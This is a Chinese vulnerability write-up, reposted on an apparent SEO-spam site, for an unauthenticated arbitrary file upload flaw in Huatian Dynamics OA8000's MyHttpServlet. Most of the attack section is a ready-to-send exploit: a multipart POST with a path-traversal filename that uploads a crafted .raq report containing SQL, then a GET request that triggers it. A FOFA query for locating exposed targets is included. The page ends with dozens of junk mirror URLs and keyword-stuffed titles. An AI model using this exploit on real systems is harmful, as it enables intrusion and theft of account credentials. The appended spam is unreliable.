当前位置： 首页 > news >正文 诸暨网站建设职高网站建设知识点 news 2025/10/28 12:06:18 诸暨网站建设,职高网站建设知识点,郑州官网seo技术,wordpress更新配置0x01 产品简介 华天动力OA是一款将先进的管理思想、 管理模式和软件技术、网络技术相结合#xff0c;为用户提供了低成本、 高效能的协同办公和管理平台。 0x02 漏洞概述 华天动力OA MyHttpServlet 存在任意文件上传漏洞#xff0c;未经身份认证的攻击者可上传恶意的raq文件…0x01 产品简介 华天动力OA是一款将先进的管理思想、 管理模式和软件技术、网络技术相结合为用户提供了低成本、 高效能的协同办公和管理平台。 0x02 漏洞概述 华天动力OA MyHttpServlet 存在任意文件上传漏洞未经身份认证的攻击者可上传恶意的raq文件并执行raq文件中的任意sql语句获取用户账号密码等敏感信息。 0x03 影响范围 OA8000平台版 DLHT-OA8000-3-0-7.2-3-1-0-500 0x04 复现环境 FOFAapp华天动力-OA8000 0x05 漏洞复现 exp: POST /OAapp/MyHttpServlet HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Type: multipart/form-data; boundary9b0af0d79eaea67c3aa1889b0b43a50a Accept-Encoding: gzip Content-Length: 2428--9b0af0d79eaea67c3aa1889b0b43a50a Content-Disposition: form-data; namefile; filename\\Temp\\../../../report/reportFiles/d4f0fE.jpg{{unquote(RQQR\x00\x00\x01\xf5\x00\x00\x00\x02\x00\x02\x00\x00\x00\x1c\xa5A\x00\x00\x00\x01\x00\x00\x00\x00\x02\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x06\xac\xed\x00\x05pp\x00\x00\x00\x1b\xb1B\x18ff\x01\x00\x00\x00\x00\x02\x00\x00\xff\xff\xff\xff\x00\x00\x00\x06\xac\xed\x00\x05pp\x00\x00\x00\xac\xff\xff\xff\xff\xd0\xe1P\xff\x00\x00\x00?\x80\x00\x00\x10\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\1\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xf8Dialog\x00\x0c\xff\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xffP?\x00\x00\xff\x00\x00\x00P?\x00\x00\xff\x00\x00\x00P?\x00\x00\xff\x00\x00\x00S?\x00\x00\xff\x00\x00\x00\x00\x00\x00\x15\x00\x01\x28\x01\x00\x0f ds1.select\x28#1\x29\x00 \xc0\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\x00\x00\x00\x06\xac\xed\x00\x05pp\xff\xff\xff\xff\x00\x00\x00\x00\x00;\x00\x09\x00\x01\x00\x01\x00\x01\x00\x00\x00\x14\x00\x01\x00\x01\x00dCR\x00\x00C\x94\x80\x00A\x98\x00\x00A\x98\x00\x00A\xc8\x00\x00A\xc8\x00\x00\x01\x00\x00\x02\x00\x00\x02\x00\x02\x01\x01\x00\x00\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00s\x00\x01\x01\xff\xff\xff\xd0com.runqian.report4.usermodel.SQLDataSetConfig\x00\x00\x00:\x00\x00\x00\x17\xff\xff\xff\xfbds1\xff\xff\xff\xfahtoa\xff\xff\xff\xfe\x00\x01\x00\x00\xff\xff\xff\xf1SELECT user\x28\x29\xff\xff\xff\xfe\xff\xff\xff\xfe\xff\xff\xff\xff\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x0a\x00\xff\xff\xff\xfe\x0b\x00\x00\x00\x00\x00\x00\x00\x12\xff\xff\xff\xfe\xff\xff\xff\xfe\x00\x00\x0f\xff\xff\xff\xfe\x03\x01\x00\x00\x00d\x01\xff\xff\xff\xfe\x00\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xfeRQQRRQQR\x1e\xf9\xb0\xac\xda\x8d\x80s\x83\xf4h\xc5\xc0#\xb4\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)}} --9b0af0d79eaea67c3aa1889b0b43a50a-- PS文件中的SQL语句是查询数据库当前用户 查看结果 GET /report/reportJsp/showHTReport.jsp?reportFile上传的文件名 HTTP/1.1 Host: your-ip Accept-Encoding: gzip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 0x06 修复建议 目前厂商已发布安全补丁请及时更新http://www.oa8000.com。 文章转载自： http://www.morning.spnky.cn.gov.cn.spnky.cn http://www.morning.ggnfy.cn.gov.cn.ggnfy.cn http://www.morning.rgsnk.cn.gov.cn.rgsnk.cn http://www.morning.hcwlq.cn.gov.cn.hcwlq.cn http://www.morning.kfldw.cn.gov.cn.kfldw.cn http://www.morning.mcndn.cn.gov.cn.mcndn.cn http://www.morning.gdpai.com.cn.gov.cn.gdpai.com.cn http://www.morning.gllgf.cn.gov.cn.gllgf.cn http://www.morning.kzbpx.cn.gov.cn.kzbpx.cn http://www.morning.dmlgq.cn.gov.cn.dmlgq.cn http://www.morning.qysnd.cn.gov.cn.qysnd.cn http://www.morning.qrsm.cn.gov.cn.qrsm.cn http://www.morning.pwmpn.cn.gov.cn.pwmpn.cn http://www.morning.cbnlg.cn.gov.cn.cbnlg.cn http://www.morning.rbkl.cn.gov.cn.rbkl.cn http://www.morning.plxnn.cn.gov.cn.plxnn.cn http://www.morning.pcngq.cn.gov.cn.pcngq.cn http://www.morning.kdhrf.cn.gov.cn.kdhrf.cn http://www.morning.ljbm.cn.gov.cn.ljbm.cn http://www.morning.zrpbf.cn.gov.cn.zrpbf.cn http://www.morning.hhzdj.cn.gov.cn.hhzdj.cn http://www.morning.cwrpd.cn.gov.cn.cwrpd.cn http://www.morning.cniedu.com.gov.cn.cniedu.com http://www.morning.qfmcm.cn.gov.cn.qfmcm.cn http://www.morning.jhkzl.cn.gov.cn.jhkzl.cn http://www.morning.mbhdl.cn.gov.cn.mbhdl.cn http://www.morning.mfsjn.cn.gov.cn.mfsjn.cn http://www.morning.zgdnd.cn.gov.cn.zgdnd.cn http://www.morning.qsszq.cn.gov.cn.qsszq.cn http://www.morning.lmjtp.cn.gov.cn.lmjtp.cn http://www.morning.zkrzb.cn.gov.cn.zkrzb.cn http://www.morning.xmnlc.cn.gov.cn.xmnlc.cn http://www.morning.jfgmx.cn.gov.cn.jfgmx.cn http://www.morning.dhnqt.cn.gov.cn.dhnqt.cn http://www.morning.wchsx.cn.gov.cn.wchsx.cn http://www.morning.qwqzk.cn.gov.cn.qwqzk.cn http://www.morning.tfsyk.cn.gov.cn.tfsyk.cn http://www.morning.kzpxc.cn.gov.cn.kzpxc.cn http://www.morning.grfhd.cn.gov.cn.grfhd.cn http://www.morning.qsdnt.cn.gov.cn.qsdnt.cn http://www.morning.yixingshengya.com.gov.cn.yixingshengya.com http://www.morning.hxlpm.cn.gov.cn.hxlpm.cn http://www.morning.bbmx.cn.gov.cn.bbmx.cn http://www.morning.yzzfl.cn.gov.cn.yzzfl.cn http://www.morning.flpjy.cn.gov.cn.flpjy.cn http://www.morning.yhjlg.cn.gov.cn.yhjlg.cn http://www.morning.krfpj.cn.gov.cn.krfpj.cn http://www.morning.ykrck.cn.gov.cn.ykrck.cn http://www.morning.wlqbr.cn.gov.cn.wlqbr.cn http://www.morning.lqjpb.cn.gov.cn.lqjpb.cn http://www.morning.snnb.cn.gov.cn.snnb.cn http://www.morning.rfqkx.cn.gov.cn.rfqkx.cn http://www.morning.ppqzb.cn.gov.cn.ppqzb.cn http://www.morning.yfcyh.cn.gov.cn.yfcyh.cn http://www.morning.pgkpt.cn.gov.cn.pgkpt.cn http://www.morning.rhlhk.cn.gov.cn.rhlhk.cn http://www.morning.kmcfw.cn.gov.cn.kmcfw.cn http://www.morning.fplwz.cn.gov.cn.fplwz.cn http://www.morning.wqpb.cn.gov.cn.wqpb.cn http://www.morning.fqmbt.cn.gov.cn.fqmbt.cn http://www.morning.rbrhj.cn.gov.cn.rbrhj.cn http://www.morning.deanzhu.com.gov.cn.deanzhu.com http://www.morning.nckzt.cn.gov.cn.nckzt.cn http://www.morning.pqqzd.cn.gov.cn.pqqzd.cn http://www.morning.kxxld.cn.gov.cn.kxxld.cn http://www.morning.qfrmy.cn.gov.cn.qfrmy.cn http://www.morning.junmap.com.gov.cn.junmap.com http://www.morning.mgbcf.cn.gov.cn.mgbcf.cn http://www.morning.nmngg.cn.gov.cn.nmngg.cn http://www.morning.dpsyr.cn.gov.cn.dpsyr.cn http://www.morning.cffwm.cn.gov.cn.cffwm.cn http://www.morning.yghlr.cn.gov.cn.yghlr.cn http://www.morning.nsrlb.cn.gov.cn.nsrlb.cn http://www.morning.qkxnw.cn.gov.cn.qkxnw.cn http://www.morning.ggxbyhk.cn.gov.cn.ggxbyhk.cn http://www.morning.tpyrn.cn.gov.cn.tpyrn.cn http://www.morning.kdxzy.cn.gov.cn.kdxzy.cn http://www.morning.qqklk.cn.gov.cn.qqklk.cn http://www.morning.gfqj.cn.gov.cn.gfqj.cn http://www.morning.trffl.cn.gov.cn.trffl.cn 查看全文 http://www.tj-hxxt.cn/news/256611.html 相关文章： No家电网站建设wordpress文章编辑器插件 做网络的网站很重要吗怎样启动wordpress 中国最好的网站建设有哪些自己做网站平台 ui设计的网站百度怎么打广告 音乐 版权 做视频网站92号汽油价格最新 怎么进入网站管理系统以什么主题做网站好 网站运营工作的内容郑州seo顾问热狗hotdoger 安徽池州建设厅网站wordpress软件下载站主题 建设网站要求哪里备案百度竞价防软件点击软件 长春做网站哪个公司好html5游戏开发 一般做一个网站多少钱福州建站免费模板 做网站正规公司有没有专门做策划的公司 域名如何指向网站网站设计 北京 010 app 网站 比较做亚马逊跨境电商赚钱吗 获得网站管理员密码两学一做网站链接 网站建设竞品调研揭阳网站制作专业 国外大型网站wordpress整合redis 深圳自助网站建设龙岩网站设计一般要多久 学习电子商务网站建设与管理的感想赣州市南康区建设局网站 个人网站备案可以做公司网站用河北响应式网站建设 传奇三端互通新开服网站今天刚刚发生的新闻最新新闻 淘宝流量网站网站备案怎么办 兰州网站制作培训班运城手机网站建设 快速学做网站东方建设集团有限公司网站 龙岗网站建设工程小白如何做网站 美食网站网页设计设计网页的三大工具是什么 平面设计软件下载官方网站深圳小语种网站建设 鞍山制作网站哪家好城乡与住房建设厅官网 1000并发视频网站西安搜推宝网络科技有限公司 美食网站建设策划方案网站开发工作平时做什么
